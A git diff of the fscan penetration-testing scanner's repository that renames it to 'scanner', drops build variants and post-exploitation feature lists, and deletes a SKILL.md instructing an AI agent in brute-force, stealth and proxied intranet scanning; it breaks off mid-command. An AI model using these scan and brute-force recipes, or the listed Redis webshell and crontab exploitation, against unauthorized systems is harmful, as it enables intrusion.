diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml index 73e202c8..5ce88363 100644 --- a/.github/ISSUE_TEMPLATE/config.yml +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -3,8 +3,8 @@ blank_issues_enabled: false contact_links: - name: 📖 使用文档 / README - url: https://github.com/shadow1ng/fscan/blob/main/README.md + url: https://scanner/blob/main/README.md about: 提交 Issue 前请先查阅文档,确认不是用法问题 - name: 💬 讨论区 / Discussions - url: https://github.com/shadow1ng/fscan/discussions + url: https://scanner/discussions about: 使用疑问、经验分享、一般性讨论请使用 Discussions diff --git a/.github/actions/build-release/action.yml b/.github/actions/build-release/action.yml index 2fc65024..5a8753fa 100644 --- a/.github/actions/build-release/action.yml +++ b/.github/actions/build-release/action.yml @@ -9,7 +9,7 @@ inputs: go-version: description: 'Go 版本' required: false - default: '1.20' + default: '1.25.12' retention-days: description: '产物保留天数' required: false diff --git a/.github/conf/.goreleaser.yml b/.github/conf/.goreleaser.yml index 426b6d76..c1ac6fc0 100644 --- a/.github/conf/.goreleaser.yml +++ b/.github/conf/.goreleaser.yml @@ -1,6 +1,6 @@ version: 2 -project_name: "fscan" +project_name: "scanner" before: hooks: @@ -9,8 +9,8 @@ before: builds: # 标准版 - 全部插件(全架构) - - id: fscan - binary: fscan + - id: scanner + binary: scanner main: . env: - CGO_ENABLED=0 @@ -58,127 +58,17 @@ builds: - goos: solaris goarch: mipsle flags: [-trimpath] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} + ldflags: -s -w -X scanner/common.version={{ .Version }} -X scanner/common.commit={{ .ShortCommit }} -X scanner/common.date={{ .Date }} mod_timestamp: "{{ .CommitTimestamp }}" - # 无本地插件版 - 排除本地模块(全架构) - - id: fscan-nolocal - binary: fscan - main: . - env: - - CGO_ENABLED=0 - goos: [windows, linux, darwin, freebsd, solaris] - goarch: [amd64, arm64, "386", arm, mips, mips64, mipsle] - goarm: ["5", "6", "7"] - gomips: [softfloat] - ignore: - - goos: darwin - goarch: "386" - - goos: darwin - goarch: arm - - goos: darwin - goarch: mips - - goos: darwin - goarch: mips64 - - goos: darwin - goarch: mipsle - - goos: windows - goarch: arm64 - - goos: windows - goarch: arm - - goos: windows - goarch: mips - - goos: windows - goarch: mips64 - - goos: windows - goarch: mipsle - - goos: freebsd - goarch: mips - - goos: freebsd - goarch: mips64 - - goos: freebsd - goarch: mipsle - - goos: solaris - goarch: "386" - - goos: solaris - goarch: arm - - goos: solaris - goarch: arm64 - - goos: solaris - goarch: mips - - goos: solaris - goarch: mips64 - - goos: solaris - goarch: mipsle - flags: [-trimpath] - tags: [no_local] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} - mod_timestamp: "{{ .CommitTimestamp }}" - - # WebUI版 - 主流平台即可 - - id: fscan-web - binary: fscan - main: . - env: - - CGO_ENABLED=0 - goos: [windows, linux, darwin] - goarch: [amd64, arm64, "386"] - goarm: ["7"] - ignore: - - goos: darwin - goarch: "386" - - goos: windows - goarch: arm64 - flags: [-trimpath] - tags: [web] - ldflags: -s -w -X github.com/shadow1ng/fscan/common.version={{ .Version }} -X github.com/shadow1ng/fscan/common.commit={{ .ShortCommit }} -X github.com/shadow1ng/fscan/common.date={{ .Date }} - mod_timestamp: "{{ .CommitTimestamp }}" - -upx: - - ids: [fscan, fscan-nolocal, fscan-web] - enabled: true - goos: [windows, linux] - goarch: [amd64, "386", arm64] - compress: "6" - brute: false - lzma: false - archives: # 标准版归档 - - id: fscan - ids: [fscan] - formats: [binary] - allow_different_binary_count: true - name_template: >- - fscan_{{ .Version }}_ - {{- if eq .Os "darwin" }}mac - {{- else }}{{ .Os }}{{ end }}_ - {{- if eq .Arch "amd64" }}x64 - {{- else if eq .Arch "386" }}x32 - {{- else }}{{ .Arch }}{{ end }} - {{- if .Arm }}v{{ .Arm }}{{ end }} - - # 无本地插件版归档 - - id: fscan-nolocal - ids: [fscan-nolocal] - formats: [binary] - allow_different_binary_count: true - name_template: >- - fscan-nolocal_{{ .Version }}_ - {{- if eq .Os "darwin" }}mac - {{- else }}{{ .Os }}{{ end }}_ - {{- if eq .Arch "amd64" }}x64 - {{- else if eq .Arch "386" }}x32 - {{- else }}{{ .Arch }}{{ end }} - {{- if .Arm }}v{{ .Arm }}{{ end }} - - # WebUI版归档 - - id: fscan-web - ids: [fscan-web] + - id: scanner + ids: [scanner] formats: [binary] allow_different_binary_count: true name_template: >- - fscan-web_{{ .Version }}_ + scanner_{{ .Version }}_ {{- if eq .Os "darwin" }}mac {{- else }}{{ .Os }}{{ end }}_ {{- if eq .Arch "amd64" }}x64 @@ -223,9 +113,7 @@ release: | 版本 | 说明 | |------|------| - | **fscan** | 标准版,包含全部插件(推荐) | - | **fscan-nolocal** | 精简版,不含本地模块(体积更小) | - | **fscan-web** | WebUI版,带Web管理界面(主流平台) | + | **scanner** | 标准扫描版 | ### 平台支持 diff --git a/.github/release-notes/v2.2.0-rc.1.md b/.github/release-notes/v2.2.0-rc.1.md index 6bffb935..68a9f7d2 100644 --- a/.github/release-notes/v2.2.0-rc.1.md +++ b/.github/release-notes/v2.2.0-rc.1.md @@ -1,8 +1,8 @@ # fscan v2.2.0-rc.1 > ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 -> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 -> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://scanner/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://scanner/releases/tag/v2.1.3)。 --- @@ -111,7 +111,7 @@ ## 反馈与贡献 -- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) -- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) -- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) -- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) +- 🐛 发现 Bug → [提交 Bug 报告](https://scanner/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://scanner/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://scanner/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://scanner/discussions) diff --git a/.github/release-notes/v2.2.0-rc.md b/.github/release-notes/v2.2.0-rc.md index 269b7ad7..1bcec506 100644 --- a/.github/release-notes/v2.2.0-rc.md +++ b/.github/release-notes/v2.2.0-rc.md @@ -1,8 +1,8 @@ # fscan v2.2.0-rc > ⚠️ **这是预发布版本 (Release Candidate)**,可能存在未发现的问题。 -> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://github.com/shadow1ng/fscan/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 -> 生产环境建议继续使用 [v2.1.3](https://github.com/shadow1ng/fscan/releases/tag/v2.1.3)。 +> 如果你在使用中遇到任何异常,请积极通过 [Issue](https://scanner/issues/new/choose) 反馈,帮助我们尽快稳定正式版。 +> 生产环境建议继续使用 [v2.1.3](https://scanner/releases/tag/v2.1.3)。 --- @@ -71,7 +71,6 @@ | SDK 并发限速共享 | `CanSendPacket()` 全局限速器在多 Scanner 实例间共享(按进程限速,非按实例) | | CEL 回连验证走全局 | DNSLog 反连检测的 HTTP 请求计数走全局 state(影响可忽略) | | 本地插件仅限授权场景 | 持久化/minidump/shell 类插件仅用于授权渗透测试 | -| WebUI 为实验性功能 | `fscan-web` 版本的 Web 界面尚未完善 | | `common` 包未完全拆分 | 内部架构的 common 包职责仍较重,后续版本持续优化 | --- @@ -80,10 +79,10 @@ 这是一个 RC 版本,我们非常需要你的反馈: -- 🐛 发现 Bug → [提交 Bug 报告](https://github.com/shadow1ng/fscan/issues/new?template=bug_report.yml) -- 🎯 结果不准 → [提交误报/漏报](https://github.com/shadow1ng/fscan/issues/new?template=false_positive.yml) -- ✨ 功能建议 → [提交功能请求](https://github.com/shadow1ng/fscan/issues/new?template=feature_request.yml) -- 💬 使用疑问 → [Discussions](https://github.com/shadow1ng/fscan/discussions) +- 🐛 发现 Bug → [提交 Bug 报告](https://scanner/issues/new?template=bug_report.yml) +- 🎯 结果不准 → [提交误报/漏报](https://scanner/issues/new?template=false_positive.yml) +- ✨ 功能建议 → [提交功能请求](https://scanner/issues/new?template=feature_request.yml) +- 💬 使用疑问 → [Discussions](https://scanner/discussions) --- @@ -93,7 +92,6 @@ |------|------| | **fscan** | 标准版,包含全部插件(推荐) | | **fscan-nolocal** | 精简版,不含本地后渗透模块(体积更小) | -| **fscan-web** | WebUI版,带 Web 管理界面(主流平台) | ## 平台支持 diff --git a/.github/release-notes/v2.2.0.md b/.github/release-notes/v2.2.0.md index 0a7ace6b..89cb5f6b 100644 --- a/.github/release-notes/v2.2.0.md +++ b/.github/release-notes/v2.2.0.md @@ -126,4 +126,4 @@ v2.2.0 是 v2.2 系列首个正式版,基于 v2.1.3 之后的 RC 测试和 Iss 完整变更记录见: -https://github.com/shadow1ng/fscan/compare/v2.1.3...v2.2.0 +https://scanner/compare/v2.1.3...v2.2.0 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index cc149e29..56eb2a9f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -129,7 +129,7 @@ jobs: uses: ./.github/actions/build-release with: mode: ${{ inputs.snapshot && 'snapshot' || 'release' }} - go-version: '1.25' + go-version: '1.25.12' retention-days: '90' release-args: ${{ inputs.draft && '--draft' || '' }} diff --git a/.github/workflows/test-build.yml b/.github/workflows/test-build.yml index 578928bf..5aa329c8 100644 --- a/.github/workflows/test-build.yml +++ b/.github/workflows/test-build.yml @@ -54,7 +54,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 运行 golangci-lint @@ -114,7 +114,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 下载依赖 @@ -181,7 +181,7 @@ jobs: - name: 设置 Go 环境 uses: actions/setup-go@v5 with: - go-version: '1.25' + go-version: '1.25.12' cache: true - name: 构建验证 diff --git a/.gitignore b/.gitignore index 9ef7e6c2..4d1e8a2f 100644 --- a/.gitignore +++ b/.gitignore @@ -54,19 +54,14 @@ test_output.txt # Build artifacts / 构建产物 build/ bin/ +/dist/ *.exe *.dll *.so *.dylib /fscan_cli -/fscan_web /embed-agent -# Web UI build / Web前端构建 -web-ui/node_modules/ -web-ui/dist/ -!web/dist/ - # Go specific / Go 相关 vendor/ *.test @@ -79,6 +74,7 @@ go.work.sum # Performance profiling / 性能分析 profiles/ +tools/perftest/results/ # Local development tools / 本地开发工具 .air.toml diff --git a/Makefile b/Makefile index db0512ed..263ee8b2 100644 --- a/Makefile +++ b/Makefile @@ -1,13 +1,13 @@ -# fscan Makefile +# Scanner Makefile # 提供统一的构建、测试、检查命令 -.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test +.PHONY: help test test-cover build build-debug build-race lint lint-fix clean ci deps install-tools stress-test # 默认目标 .DEFAULT_GOAL := help # 项目配置 -BINARY_NAME := fscan +BINARY_NAME := scanner GO := go GOLANGCI_LINT := golangci-lint @@ -19,7 +19,7 @@ NC := \033[0m # No Color ## help: 显示帮助信息 help: - @echo "$(BLUE)fscan 构建工具$(NC)" + @echo "$(BLUE)Scanner 构建工具$(NC)" @echo "" @echo "$(GREEN)可用命令:$(NC)" @grep -E '^## ' $(MAKEFILE_LIST) | sed 's/^## / /' @@ -53,32 +53,12 @@ test-cover: $(GO) tool cover -html=coverage.out -o coverage.html @echo "$(GREEN)✓ 覆盖率报告生成完成$(NC)" -## build: 构建生产版本(无 pprof,优化体积) +## build: 构建生产版本(不含利用组件) build: - @echo "$(BLUE)构建生产版本(无 pprof)...$(NC)" + @echo "$(BLUE)构建生产版本(默认扫描版,不含利用组件)...$(NC)" $(GO) build -ldflags="-s -w" -trimpath -o $(BINARY_NAME) . @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)$(NC)" -## build-web: 构建带Web UI的版本(需要先构建前端) -build-web: build-ui - @echo "$(BLUE)构建Web版本...$(NC)" - $(GO) build -tags web -ldflags="-s -w" -trimpath -o $(BINARY_NAME)-web . - @echo "$(GREEN)✓ 构建完成: $(BINARY_NAME)-web$(NC)" - @echo "$(BLUE)提示: 运行 ./$(BINARY_NAME)-web 启动Web界面(默认端口 10240)$(NC)" - -## build-ui: 构建前端(需要Node.js和npm) -build-ui: - @echo "$(BLUE)构建前端...$(NC)" - @if [ ! -d "web-ui" ]; then \ - echo "$(RED)错误: web-ui 目录不存在$(NC)"; \ - echo "请先创建前端项目"; \ - exit 1; \ - fi - @cd web-ui && npm install && npm run build - @rm -rf web/dist - @cp -r web-ui/dist web/dist - @echo "$(GREEN)✓ 前端构建完成$(NC)" - ## build-debug: 构建调试版本(带 pprof) build-debug: @echo "$(BLUE)构建调试版本(带 pprof)...$(NC)" diff --git a/README.md b/README.md index 64ad4615..00c6cae1 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ 内网综合扫描工具,一键自动化漏扫。 -**版本**: 2.2.0 +**版本**: 2.2.2 ## 功能特性 @@ -28,17 +28,8 @@ ### 漏洞利用 - **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE -- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令 - **SSH命令执行** - 认证成功后自动执行命令 -### 本地模块 -- **信息收集** - 系统信息、环境变量、域控信息、网卡配置 -- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出 -- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD -- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务 -- **杀软检测** - 识别目标主机安装的安全软件 -- **痕迹清理** - 日志清理工具 - ### 输入输出 - **目标输入** - IP/CIDR/域名/URL,支持文件批量导入 - **排除规则** - 支持排除特定主机、端口 @@ -53,9 +44,8 @@ ### 扩展功能 - **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯 -- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web) - **Lab靶场环境** - 内置Docker靶场用于测试学习 -- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展 +- **插件化架构** - 服务插件与Web插件分离,易于扩展 - **多语言支持** - 中英文界面切换(-lang zh/en) - **性能统计** - JSON格式性能报告(-perf) @@ -86,7 +76,6 @@ - **并发安全优化** - 优化锁粒度和内存分配 ### 新功能 -- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示 - **多格式POC适配** - 支持xray和afrog格式POC - **智能扫描模式** - 布隆过滤器去重+代理优化 - **增强指纹库** - 集成FingerprintHub(3139条指纹) @@ -103,13 +92,12 @@ - **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹 - **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试 - **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析 -- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译 +- **插件选择性编译** - Build Tags系统,支持服务/Web插件独立编译 - **默认端口扩展** - 从62个扩展到133个常用端口 - **全端口扫描支持** - 扩大端口范围限制 - **HTTP重定向控制** - 可配置的重定向次数限制 - **性能分析支持** - 添加pprof性能分析和benchmark测试 - **TCP包统计** - 服务插件支持TCP包发送统计 -- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成) - **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE) - **rsync插件重构** - 使用go-rsync库重构认证逻辑 @@ -172,9 +160,6 @@ # Web扫描 ./fscan -u http://192.168.1.1 -# 本地插件 -./fscan -local systeminfo - # Hash碰撞 ./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx @@ -188,8 +173,6 @@ # 标准编译 go build -ldflags="-s -w" -trimpath -o fscan . -# 带Web管理界面 -go build -tags web -ldflags="-s -w" -trimpath -o fscan-web . ``` ## 安装 @@ -249,19 +232,6 @@ yay -S fscan-git - 为每个服务插件开发更多漏洞检测和利用能力 - 保持插件API向后兼容,确保旧版本POC持续可用 -### Fscan-lite -- C语言重写的轻量版本 -- 更小的体积,更少的依赖 -- 支持更多嵌入式/受限环境 -- 目录: [fscan-lite](./fscan-lite) - -### Fscan-lab -- 内网渗透测试靶场环境 -- 覆盖所有fscan支持的漏洞场景 -- 开发测试与功能验证平台 -- 新手学习与技能练习环境 -- 目录: [fscan-lab](./fscan-lab) - ## 免责声明 本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权,符合当地法律法规,**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。 diff --git a/README_EN.md b/README_EN.md index cbb55aab..da0fbafb 100644 --- a/README_EN.md +++ b/README_EN.md @@ -4,7 +4,7 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. -**Version**: 2.2.0 +**Version**: 2.2.2 ## Features @@ -28,17 +28,8 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. ### Exploitation - **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE -- **MS17-010 Exploit** - ShellCode injection, add user, execute commands - **SSH Command Exec** - Auto command execution after authentication -### Local Modules -- **Info Gathering** - System info, environment variables, DC info, NIC config -- **Credential Access** - Memory dump (MiniDump), keylogger, registry export -- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD -- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service -- **AV Detection** - Identify installed security software -- **Trace Cleanup** - Log cleaning tool - ### Input/Output - **Target Input** - IP/CIDR/domain/URL, batch file import - **Exclusion Rules** - Exclude specific hosts, ports @@ -52,9 +43,8 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **Concurrency** - Port scan threads, service scan threads independent config ### Extensions -- **Web Management UI** - Visual scan task management (build with -tags web) - **Lab Environment** - Built-in Docker lab for testing and learning -- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend +- **Plugin Architecture** - Service and Web plugins separated, easy to extend - **Multi-language** - Chinese/English interface (-lang zh/en) - **Performance Stats** - JSON format performance report (-perf) @@ -85,7 +75,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation ### New Features -- **Web Management UI** - Visual scan task management with responsive layout and progress display - **Multi-format POC Adapter** - Support for xray and afrog format POCs - **Smart Scan Mode** - Bloom filter deduplication + proxy optimization - **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints) @@ -102,13 +91,12 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. - **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses - **TXT Output URL Summary** - Append web service URL list for batch testing - **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing -- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation +- **Selective Plugin Compilation** - Build Tags system for independent service/web plugin compilation - **Default Port Expansion** - Extended from 62 to 133 common ports - **Full Port Scan Support** - Expanded port range limits - **HTTP Redirect Control** - Configurable redirect count limit - **Performance Profiling Support** - Added pprof profiling and benchmark tests - **TCP Packet Statistics** - Service plugins support TCP packet send statistics -- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios - **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE) - **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library @@ -171,9 +159,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. # Web scanning ./fscan -u http://192.168.1.1 -# Local plugin -./fscan -local systeminfo - # Hash authentication ./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx @@ -187,8 +172,6 @@ Comprehensive intranet scanning tool for automated vulnerability assessment. # Standard build go build -ldflags="-s -w" -trimpath -o fscan . -# With Web UI -go build -tags web -ldflags="-s -w" -trimpath -o fscan-web . ``` ## Install @@ -243,19 +226,6 @@ yay -S fscan-git - Develop more vulnerability detection and exploitation capabilities for each service plugin - Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional -### Fscan-lite -- Lightweight version rewritten in C -- Smaller binary size, fewer dependencies -- Support for embedded/restricted environments -- Directory: [fscan-lite](./fscan-lite) - -### Fscan-lab -- Intranet penetration testing lab environment -- Covers all vulnerability scenarios supported by fscan -- Development testing and feature verification platform -- Learning and practice environment for beginners -- Directory: [fscan-lab](./fscan-lab) - ## Disclaimer This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use. diff --git a/SKILL.md b/SKILL.md deleted file mode 100644 index 2a3065ff..00000000 --- a/SKILL.md +++ /dev/null @@ -1,304 +0,0 @@ ---- -name: fscan-agent -description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。 -argument-hint: <目标IP/网段> [附加参数] -allowed-tools: Bash, Read, Agent ---- - -# Fscan AI Agent Skill - -## 工具概述 - -Fscan 是一款内网综合扫描工具,功能包括: -- 主机存活探测(ICMP / TCP) -- 端口扫描与服务识别 -- 漏洞检测(MS17-010、Redis 未授权等) -- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等) -- Web 指纹识别与 POC 扫描 -- NetBIOS / SMB 信息收集 -- 本地信息收集(杀软检测、系统信息等) - -二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`。 - -## 调用格式 - -```bash -# AI agent 标准用法:NDJSON 输出,无人类日志干扰 -fscan -h <目标> -silent [其他参数] - -# 解析输出 -fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")' -``` - -## 核心参数 - -### 目标指定 - -| 参数 | 说明 | 示例 | -|------|------|------| -| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` | -| `-hf` | 从文件读取目标 | `-hf targets.txt` | -| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` | -| `-ep` | 排除端口 | `-ep 25,110` | -| `-eh` | 排除主机 | `-eh 192.168.1.1` | -| `-u` | 指定 URL(Web 扫描) | `-u https://example.com` | -| `-uf` | URL 文件 | `-uf urls.txt` | - -### 扫描控制 - -| 参数 | 说明 | 默认值 | -|------|------|--------| -| `-m` | 扫描模式 | `all` | -| `-t` | 端口扫描线程数 | `600` | -| `-mt` | 模块线程数 | `20` | -| `-time` | 连接超时(秒) | `3` | -| `-gt` | 全局超时(秒) | `180` | -| `-np` | 跳过存活检测 | `false` | -| `-ntp` | 禁用 TCP 补充探测 | `false` | -| `-ao` | 仅存活检测 | `false` | -| `-nobr` | 禁用暴力破解 | `false` | -| `-full` | 全量 POC 扫描 | `false` | -| `-max-retries` | 最大重试次数 | `1` | - -### 认证 - -| 参数 | 说明 | -|------|------| -| `-user` | 用户名 | -| `-pwd` | 密码 | -| `-usera` | 追加用户名 | -| `-pwda` | 追加密码,支持逗号或空格分隔多个值 | -| `-userf` | 用户名字典文件 | -| `-pwdf` | 密码字典文件 | -| `-domain` | 域名(SMB/WMI) | -| `-sshkey` | SSH 私钥文件 | -| `-hash` / `-hashf` | NTLM Hash / Hash 文件 | - -### 代理 - -| 参数 | 说明 | -|------|------| -| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) | -| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) | -| `-iface` | 指定本地网卡 IP(VPN 场景) | - -### 输出 - -| 参数 | 说明 | -|------|------| -| `-silent` | 静默模式:stdout 仅输出 NDJSON | -| `-o` | 输出文件路径(默认 `result.txt`) | -| `-f` | 输出格式:`txt` / `json` / `csv` | -| `-no` | 禁用文件保存 | -| `-debug` | 调试模式:日志写入 `fscan_debug.log` | -| `-log` | 日志级别(`debug` / `info` / `base` / `error`) | - -### 扫描模式 `-m` 的取值 - -| 值 | 说明 | -|------|------| -| `all` | 全部扫描(默认) | -| `icmp` | 仅 ICMP 存活检测 | -| 插件名 | 仅运行指定插件(如 `ssh`、`smb`、`ms17010`、`webtitle`) | - -## 服务插件列表 - -| 插件 | 默认端口 | 功能 | -|------|----------|------| -| `ftp` | 21 | FTP 弱口令 | -| `ssh` | 22 | SSH 弱口令 | -| `telnet` | 23 | Telnet 弱口令 | -| `smtp` | 25 | SMTP 弱口令 | -| `findnet` | 135 | RPC 网络信息发现(NetInfo) | -| `netbios` | 139 | NetBIOS 信息收集 | -| `smb` | 445 | SMB 弱口令 | -| `ms17010` | 445 | MS17-010 永恒之蓝检测 | -| `ldap` | 389 | LDAP 弱口令 | -| `mssql` | 1433 | MSSQL 弱口令 | -| `oracle` | 1521 | Oracle 弱口令 | -| `mysql` | 3306 | MySQL 弱口令 | -| `rdp` | 3389 | RDP 弱口令 + 系统信息 | -| `postgresql` | 5432 | PostgreSQL 弱口令 | -| `vnc` | 5900 | VNC 弱口令 | -| `redis` | 6379 | Redis 未授权 + 弱口令 | -| `elasticsearch` | 9200 | ES 未授权 | -| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 | -| `memcached` | 11211 | Memcached 未授权 | -| `kafka` | 9092 | Kafka 未授权 | -| `activemq` | 61616 | ActiveMQ 弱口令 | -| `rabbitmq` | 5672 | RabbitMQ 弱口令 | -| `cassandra` | 9042 | Cassandra 弱口令 | -| `neo4j` | 7687 | Neo4j 弱口令 | -| `rsync` | 873 | Rsync 未授权 | -| `webtitle` | 80/443 | Web 标题 + 指纹识别 | -| `webpoc` | 80/443 | Web 漏洞 POC | - -## 本地插件(`-local`) - -```bash -fscan -local avdetect # 杀软检测 -fscan -local systeminfo # 系统信息收集 -fscan -local envinfo # 环境变量信息 -fscan -local dcinfo # 域控信息 -fscan -local fileinfo # 敏感文件搜索 -``` - -## NDJSON 输出 Schema(`-silent` 模式) - -每行一个 JSON 对象,所有字段定义: - -| 字段 | 类型 | 出现条件 | 说明 | -|------|------|----------|------| -| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` | -| `target` | string | 必有 | 原始目标 `host` 或 `host:port` | -| `status` | string | 必有 | 状态描述 | -| `host` | string | 必有 | IP 地址 | -| `port` | int | PORT/SERVICE/VULN | 端口号 | -| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) | -| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https) | -| `banner` | string | SERVICE | 服务 Banner | -| `title` | string | SERVICE (web) | 网页标题 | -| `url` | string | SERVICE (web) | 完整 URL | -| `vulnerability` | string | VULN | 漏洞名称 | -| `username` | string | VULN (弱口令) | 用户名 | -| `password` | string | VULN (弱口令) | 密码 | -| `plugin` | string | SERVICE/VULN | 产生结果的插件名 | -| `version` | string | SERVICE | 服务版本号 | -| `os` | string | SERVICE | 操作系统信息 | - -### 输出示例 - -```jsonl -{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"} -{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22} -{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445} -{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"} -{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"} -{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"} -{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"} -{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"} -``` - -### 结果产出顺序 - -1. `HOST` — 存活探测阶段 -2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错) -3. `SERVICE` — 服务识别阶段 -4. `VULN` — 漏洞/弱口令检测阶段 - -同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。 - -## 常用场景参数组合 - -### 全网段快速扫描 - -```bash -fscan -h 192.168.1.0/24 -silent -``` - -### 跳过存活检测直接扫端口(目标明确时) - -```bash -fscan -h 192.168.1.0/24 -silent -np -``` - -### 指定端口精确扫描 - -```bash -fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379 -``` - -### 仅存活探测 - -```bash -fscan -h 172.16.0.0/16 -silent -m icmp -``` - -### 低速隐蔽扫描 - -```bash -fscan -h 192.168.1.0/24 -silent -t 30 -time 5 -``` - -### 通过 SOCKS5 代理扫描内网 - -```bash -fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080 -``` - -### 仅做弱口令检测 - -```bash -fscan -h 192.168.1.10 -silent -m ssh -user 